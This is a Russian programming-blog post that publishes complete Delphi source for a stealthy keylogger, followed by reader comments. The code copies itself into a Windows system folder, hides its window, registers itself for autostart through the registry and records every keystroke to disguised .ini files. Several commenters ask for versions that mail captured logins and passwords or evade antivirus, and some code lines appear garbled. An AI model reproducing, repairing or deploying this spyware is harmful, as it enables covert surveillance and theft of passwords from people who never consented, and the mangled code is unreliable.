» Клавиатурный шпион. Borland Delphi. Хакинг. . Блог программистов


Блог программистов




200725 Апр

Клавиатурный шпион.

Вот исходничек простенького клавиатурника можете делать с ним что хотите, главное не зазнавайтесь! К основным его преемуществам могу отнести то что он очень мал для проги такого класса (19кб), что кстати ломает убеждение о грамоздкости Делфи прог, и занимает мало места в оперативке (обычно 1-1,5мб)!
Программа абсолютно безопастная и предназдначенна только для изучения! 🙂

Вот код:

program ntrty;
// KBS ver. 1.0
//
// Клавиатурный шпион, DE@l Group (c) 2005-2007;
// При первом запуске проги происходит самокопирование
// программы в путь dir с именем name! И прописывание
// в автозагрузку той копии проги!
// Про запуске проги через автозапуск прога кидает
// файлу в путь: %USERPROFILE% с именами name+номер+ext
// при каждом запуске создаётся файл со следующим по
// порядку номером, а при достижении файла размера в
// MaxFileSize создаётся следующий файл!
// При запуске проги в ручную файл с отчётом
// создаётся в каталоге с прогой!
// 13.04.2007 (пятница)
uses Windows;

const
dir = 'C:\WINDOWS\system32\drivers\';
name = 'ntrty';
ext = '.ini';
ARCStr = 'cmd /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ';
MaxFileSize = 2048;
var
HkHnd : hHook;
FCh : file of Char;
line : longint;
hApp : THandle;
wClass : TWndClass;
wMSG : TMSG;

function WC(hInstance: HWND; style,ClsExtra,WndExtra:integer; ICON: hIcon; CURSOR: hCursor; Background: HBrush; ClassName,MenuName: string; Proc: Pointer): TWndClass;
var
wCls : TWNDClass;
begin
wCls.hInstance:=hInstance;
wCls.style:= style;
with wCls do
begin
hIcon := ICON;
lpfnWndProc := Proc;
hbrBackground := Background;
lpszClassName := PChar(ClassName);
hCursor := CURSOR;
cbClsExtra := ClsExtra;
cbWndExtra := WndExtra;
lpszMenuName := PChar(MenuName);
end;
Result:=wCls;
end;

function CreateWnd(wClass: TWndClass; hInstance: HWND; Caption: string; w,h: integer): HWND;
begin
Result:=CreateWindow(wClass.lpszClassName,
PChar(Caption),(0 or $C00000 or $800000 or
$400000 or $200000 or $100000 or $10000000),
Integer(DWORD($80000000)),Integer(DWORD($80000000)),
w, h, 0, 0, hInstance, nil);
end;

procedure lpWindow(Msg: TMsg);
begin
while GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;

function IntToStr(Int: integer): string;
begin
Str(Int, result);
end;

function FileExists(const FileName : String) : Boolean;
var
Code : Integer;
begin
Code := GetFileAttributes(PChar(FileName));
Result := (Code -1) and (16 and Code = 0);
end;

function GetName: string;
var
i : longint;
begin
i:=0;
repeat
Inc(i);
until not FileExists(name+IntToStr(i)+ext);
Result:=name+IntToStr(i)+ext;
end;

function Win32Check(RetVal: BOOL): BOOL;
begin
if not RetVal then GetLastError;
Result := RetVal;
end;

function GetCharFromVKey(vkey: Word): string;
var
keyst : TKeyboardState;
retcode : Integer;
begin
Win32Check(GetKeyboardState(keyst));
SetLength(Result, 2);
retcode := ToAscii(vkey,
MapVirtualKeyA(vkey, 0),
keyst, @Result[1],0);
case retcode of
0: Result := '';
1: SetLength(Result, 1);
2: ;
else
Result := '';
end;
end;

function HookPr(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
var
msg : PEVENTMSG;
b : Char;
s : string;
begin
if Code >= 0 then
begin
msg := Pointer(LParam);
if msg.message=256 then
begin
Inc(line);
s:=GetCharFromVKey(msg.paramL);
if Length(s)>0 then
begin
b:=s[1];
if (line mod 80)=0 then BlockWrite(FCh,#10#13,2);
BlockWrite(FCh,b,1);
end;
end;
if FileSize(FCh)>MaxFileSize then
begin
CloseFile(FCh);
AssignFile(FCh,GetName);
ReWrite(FCh)
end;
result := CallNextHookEx(HkHnd, code, WParam, LParam);
end;
end;

function WndMessageProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT; stdcall;
begin
case Msg of
1:
begin
if not FileExists(dir+name+'.exe') then
begin
Copyfile(PChar(paramstr(0)),dir+name+'.exe',BOOL(0));
WinExec(dir+name+'.exe',SW_Hide);
halt(0);
end;
WinExec(PChar(ARCStr+name+' /t REG_SZ /d '+dir+name+'.exe /f'),SW_Hide);
line:=0;
AssignFile(FCh,GetName);
ReWrite(FCh);
repeat
HkHnd := SetWindowsHookEx(0, @HookPr, hInstance, 0);
until HkHnd0;
end;
2:
begin
if HkHnd 0 then
UnhookWindowsHookEx(HkHnd);
CloseFile(FCh);
halt(0);
end;
end;
Result := DefWindowProc(hWnd,Msg,wParam,lParam);
end;

begin
wClass:=WC(hInstance,0,0,0,0,0,15,'MYCLASS','',@WndMessageProc);
RegisterClass(wClass);
hApp:=CreateWindow(wClass.lpszClassName, '',0,
Integer(DWORD($80000000)),
Integer(DWORD($80000000)),
0, 0, 0, 0, hInstance, nil);
if hApp=0 then
begin
UnregisterClass('MYCLASS',hInstance);
halt(0);
end;
lpWindow(wMsg);
end.

Этот код просто необходимо сохранить в текстовом файле с расширением .dpr и открыть в Делфи!

Комментарии

  1. Апрель 27th, 2007 | 18:11

    Я последний в программировании. Но мне понравилась эта статья.
    Значит так, вот что я сделал
    Взял этот код и сохранил с разришением .exe
    Боюсь теперь запускать.. а ведь интересно че будет.
    Не подскажите? Че мне делать? Не взорвется комп?

  2. A®TeS
    Апрель 29th, 2007 | 17:36

    Arnold — ничего не будет. Тебе сначала надо оттрансилровать этот Делфийский код в бинарник, то есть скомпилить. Как это сделать помоему автор сказал =):
    «Этот код просто необходимо сохранить в текстовом файле с расширением .dpr и открыть в Делфи!»

  3. Май 5th, 2007 | 19:01

    Хорошо. Сделаю когда появится делфи. 🙂

  4. Андрей
    Май 6th, 2007 | 18:34

    Вот так, благодаря статье, появились новые адепты Delphi. Успехов!

  5. SilVaN
    Май 7th, 2007 | 13:57

    См. сюда: http://www.programmersforum.ru/showthread.php?t=772
    от 10.11.06. т.е. плагиат (дико похоже код в архиве в посте от Сильванович Михаил).
    З.Ы. Сходство поразительно!

  6. Май 14th, 2007 | 14:42

    Да ладно, открытае исходники использовались для создания программы. Все мы используем стандартные компоненты и наработанные исходники.

    Так и меня смогут объвенить в плагиате, где-нибудь выложу исходники, а потом снова используя их. А потом куда-нибудь покажут пальцем, что вот они, исходники!!!

  7. Май 27th, 2007 | 22:00

    Самая первая ошибка — это C:\WINDOWS\system32\drivers\
    А что если у пользователя системный диск не С: У меня например это E: Да и папка WINDOWS может называться по другому.
    Если не предусмотреть такую ситуацию прога вылетит с ошибкой.

    В остальном код будет достаточно интересен для тех кто собирается осваивать спай-программирование.

  8. Tector
    Май 29th, 2007 | 07:01

    Выбор директории Винды делается одной операцией, если надо — вставят, а вот чтобы папка называлась не Windows..?

  9. mmore
    Июнь 8th, 2007 | 11:10

    «Самая первая ошибка — это C:\WINDOWS\system32\drivers\
    А что если у пользователя системный диск не С: У меня например это E: Да и папка WINDOWS может называться по другому.
    Если не предусмотреть такую ситуацию прога вылетит с ошибкой.»

    я не кодер
    а если путь задать в виде %systemroot%\\system32\drivers\
    ???

  10. Июнь 11th, 2007 | 20:18

    Если не обратили внимания то это для всего лишь пример… Тем более я ля того и сделал это константой, что бы каждый мог написать своё, тем более не все знают что %переменная окружения%=возвращённая строк переменной… Короче вы типа поумничали, а я типа оправдался…

  11. Июнь 29th, 2007 | 14:59

    «а вот чтобы папка называлась не Windows..»

    B Windows2000 эта папка называется помоему WinNT

    «я не кодер
    а если путь задать в виде %systemroot%\\system32\drivers\»

    Буде работать только под правами админа, если их нет облом. В свой каталог винда (кроме Win9X-ME) писать не даст. А под админами работает большинство. Да и %systemroot% (тоже что и …\system32) вполне достаточно. Зачем нам drivers, мыже не драйвер ставим.

    «Если не обратили внимания то это для всего лишь пример»

    Идет нормальное обсуждение, иначе зачем здесь форма для коментов. Здесь же никто никого не поносит.

  12. Cyber
    Июль 30th, 2007 | 10:00

    100% перваястрока и сразу же ошибка

    взять хотябы системный каталог

    var
    dir:array[0..255] of char;

    procedure //любая первая

    getsystemdirectory(dir,MAX_PATH);// -системный каталог

  13. Серега
    Октябрь 9th, 2007 | 21:23

    А на Лазарусе под Линукс будет работать? Надыб попробовать.

  14. Maney-Hacker
    Ноябрь 28th, 2007 | 15:02

    У меня облом! когда в делфях запускаю выдаёт ошибку 🙁

  15. COOLHack
    Декабрь 23rd, 2007 | 23:02

    Maney-Hacker о, здарова чувак!!!!!!!!!!!!!!!!!!!!!!!

    ГыГы… Неожидал тебя сдесь увидеть!

  16. Sasha
    Январь 11th, 2008 | 00:39

    Ребята! я в программировании ни в зуб ногой, может кто пришлет готовый вариант для домашнего использования и напишет как его устанавливать

    salvadordaly@mail.ru

  17. Sasha
    Январь 12th, 2008 | 02:28

    А к чему вы прислали эту ссылку. Что-то я или в конце рабочего дня дико туплю или может кому совсем не влом выслать её на почту.

  18. Sasha
    Январь 12th, 2008 | 02:30

    Потjve как прога типа perfect keylogger 1.6.5.0 оказалась в многих вариациях с вирусами и теперь от них отбивается касперский, но это уже его проблемы т.к. за лицензию заплачено.

  19. Sasha
    Январь 17th, 2008 | 18:35

    И так великие программисты!
    Кто-нить все же может сделать что-нить толковое в решении вышеозвученой мною проблеме. Если кто-то хочет заработать на проблемах других это приветствуется.

  20. Январь 22nd, 2008 | 03:32

    Sasha, попробуйте задать ваш вопрос на форуме в разделе «безопасность» — http://programmersforum.ru/forumdisplay.php?f=6

    Если вы укажите ссылку на эту статью, то это будет большой плюс.

  21. Апрель 10th, 2008 | 11:12

    Что обсуждаем?

    HkHnd := SetWindowsHookEx(0, @HookPr, hInstance, 0);

    Это функция установки хука. В качестве первого параметра передается 0, что эквивалентно константе WH_JOURNALRECORD

    Кто хоть раз написал работающий кейлоггер поймет что это такое, кто нет объясню.

    Ловушку (Хук) WH_JOURNALRECORD можно поставить из самого приложения только в WINDOWS 9X, в WIN 2000, XP и тем более VISTA, этот код просто работать не будет, надо писать отдельную DLL и вызывать (ставить) Хук от туда. К тому же WH_JOURNALRECORD жрет ресурсы немерено, так как эта ловушка срабатывает практически на любое действие системы, не только клавиатурное. Как тут кто -то заметил выше это лишь пример. Всем желающим забацать из него работающий кейлоггер — отбой.

  22. aliraha
    Апрель 21st, 2008 | 09:20

    ну, я сделала все так как было сказано и написано………ну, запустила прогу………..а как увидеть результат………………………!!!

  23. Май 23rd, 2008 | 14:03

    В инете полно исходников с подробным описанием такой программы.
    Например на wasm.ru Хоть там и ассемблер, есть куча интересных статей.

  24. Angel
    Июнь 18th, 2008 | 10:54

    Почитал, статейку и коменты долго смеялся…. порадовали кодера….смешно…а все очень просто, слишком

  25. zakruti
    Июль 9th, 2008 | 22:01

    За кем шпионть собираетесь?

  26. Август 3rd, 2008 | 21:02

    Люди , скиньте пожалуйста мне на ящик исходники троянов, эксплоитов, шпионов написанных на делфи или с++ или перл)) буду очень признателен )) вот мыло : pov-5_27@bk.ru

  27. avatar-a
    Октябрь 2nd, 2008 | 09:07

    [Error] KG.dpr(74): Operator not applicable to this operand type
    [Error] KG.dpr(102): Illegal character in input file: ‘”’ ($94)
    [Error] KG.dpr(106): Illegal character in input file: ‘”’ ($94)
    [Error] KG.dpr(155): Undeclared identifier: ‘HkHnd0’
    [Error] KG.dpr(159): Missing operator or semicolon
    [Error] KG.dpr(168): Illegal character in input file: ‘”’ ($94)
    [Error] KG.dpr(168): Not enough actual parameters
    [Error] KG.dpr(170): Illegal character in input file: ‘”’ ($94)
    [Error] KG.dpr(171): Constant expression violates subrange bounds
    [Error] KG.dpr(173): Incompatible types: ‘Cardinal’ and ‘Pointer’

  28. Alena
    Февраль 16th, 2009 | 14:17

    JA ne umeju programmirovatj, i chestno govorja vse vyshe opisannoe dlja menja neskoljko zaputano. ja prosto ishu programmu kototraya sohranjaet vse nabrannye znaki ( ili vse nazhatija klavish). Kto-nibudj mozhet podskazatj gde mozhno najti takuju programmu?
    Please, ochenj nuzhno i kak mozhno skoree!!!!!

  29. lol
    Апрель 24th, 2009 | 11:54

    😆 lol

  30. Dr.Mult
    Апрель 26th, 2009 | 14:56

    Без коментариев…. 💡

  31. NeroN
    Август 9th, 2009 | 02:48

    Парни нужна помощь нужен клавиатурный шпион который мне логи бы по почте присылал все основные находять антивиры помогите не бесплптно конечно biohazart@bk.ru

  32. Август 19th, 2009 | 19:06

    >>>все основные находять антивиры

    Любой антивирус можно попросить лояльнее относитьмся к шпиону, для этого есть список исключений

  33. dfm
    Сентябрь 28th, 2009 | 10:46

    Ох и опасненькие эти штучки. Начинающие весят свои компы, а любители, так сказать, пытаются подобное натравить на чужие.

  34. betirsolt
    Сентябрь 28th, 2009 | 19:53

    абсурд какой то..что бы написать клавиатурный шпион не достаточно сохранить этот код….тут надо dll использовать….

  35. B1gBe@rrr
    Декабрь 1st, 2009 | 11:33

    Народ, мне тут курсовую задали, надо написать на дельфи кейлоггер, который мало того, что следит и сохраняет в файл все введённые с клавиатуры знаки, ещё следит за перемещением мыши + все это прога должна воспроизводить по сохранённому логу на экране о_О… До этого сам не дойду точно ).
    Кто захочет помочь, буду премного благодарен: B1gBeArrr@yandex.ru

  36. Юрий
    Декабрь 22nd, 2009 | 16:10

    ппц чайниковые каменты жгут

    есть проблемка в этом коде, запусти во время работы своей программы… к примеру медиа плеер виндовый

    нажми на расширенной клавиатуре «paly\pause» и ппц система повиснет 😉 а переустановить хук не выйдет

  37. Сентябрь 21st, 2010 | 18:48

    народ скиньте пожалуйста готовую прогу что бы на вот это мыло приходили логины и пороли —>> bulka-55@list.ru

  38. New man
    Апрель 6th, 2011 | 19:09

    [QUOTE]
    function FileExists(const FileName : String) : Boolean;

    var

    Code : Integer;

    begin

    Code := GetFileAttributes(PChar(FileName));

    Result := (Code -1) and (16 and Code = 0);

    end;[/QUOTE] ❓
    Как это result:=(Code -1) and (16 and Code = 0);

  39. Май 30th, 2011 | 12:16

    Я насколько это в делфи? Скажите пожалуйста какой средой Вы пользуетесь… Хочу программирование освоить а среда это начало… Нотепад уже не катит)
    Многие среды просто платные… А ломанными не хочу пользоваться. Спасибо!